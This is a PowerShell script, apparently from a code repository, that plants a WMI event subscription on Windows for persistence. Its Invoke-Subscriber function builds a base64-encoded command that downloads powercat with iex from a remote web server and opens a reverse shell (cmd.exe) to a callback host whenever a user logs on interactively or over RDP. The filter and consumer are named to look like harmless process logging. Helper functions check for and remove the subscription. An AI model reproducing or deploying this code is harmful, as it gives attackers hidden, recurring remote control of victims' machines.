-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpwmi_powercat.ps1
executable file
·73 lines (56 loc) · 5.13 KB
/
pwmi_powercat.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function Get-Subscriber {
$CheckForSubscriber=Get-WmiObject -Namespace root\subscription -class __EventFilter -Filter "Name='LogNewProcesses'"
if ($checkForSubscriber -eq $null ) {
write-host "No subscriber running"}
else {
write-host "Subscriber running"}
}
function Remove-Subscriber {
Get-wmiobject -Namespace root\subscription -Class __EventFilter -Filter "Name='LogNewProcesses'" | Remove-WmiObject -Verbose
Get-WmiObject -Namespace root\subscription -class CommandLineEventConsumer -Filter "Name='LogNewProcessConsumer'" | Remove-WmiObject -Verbose
Get-WmiObject -namespace root\subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%LogNewProcesses%'" | Remove-WmiObject -Verbose
}
function Test-CallBackServer {
$tcp=new-object system.net.sockets.tcpclient
$tcp.connect($callBackServer, $port)
}
function Invoke-Subscriber {
param(
[parameter(Mandatory=$true)]
[string]$webServer,
[string]$callBackServer,
[string]$callBackPort
)
$DownloadFile="http://$($webserver)/powercat.ps1"
$callBackURL="https://$($callBackServer):8000"
$completeCommand="iex(new-object net.webclient).downloadstring('$downloadFile');powercat -c '$callBackServer' -p '$callBackPort' -e cmd.exe"
write-output $completeCommand
$bytes=[System.Text.Encoding]::Unicode.GetBytes($completeCommand)
$EncodedText=[Convert]::ToBase64String($bytes)
$wmiParams=@{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace= 'root\subscription'
}
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'LogNewProcesses'
EventNamespace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "Select * FROM __InstanceCreationEvent WITHIN 240 WHERE targetInstance ISA 'win32_logonsession' AND ( TargetInstance.LogonType = '10' OR TargetInstance.Logontype='2')"
}
$filterResult = Set-WmiInstance @wmiParams
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name='LogNewProcessConsumer'
CommandLineTemplate = "powershell.exe -noprofile -encodedCommand $($encodedText)"
RunInteractively = 'False'
}
$consumerResult = Set-WmiInstance @wmiParams
$wmiParams.class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiparams
}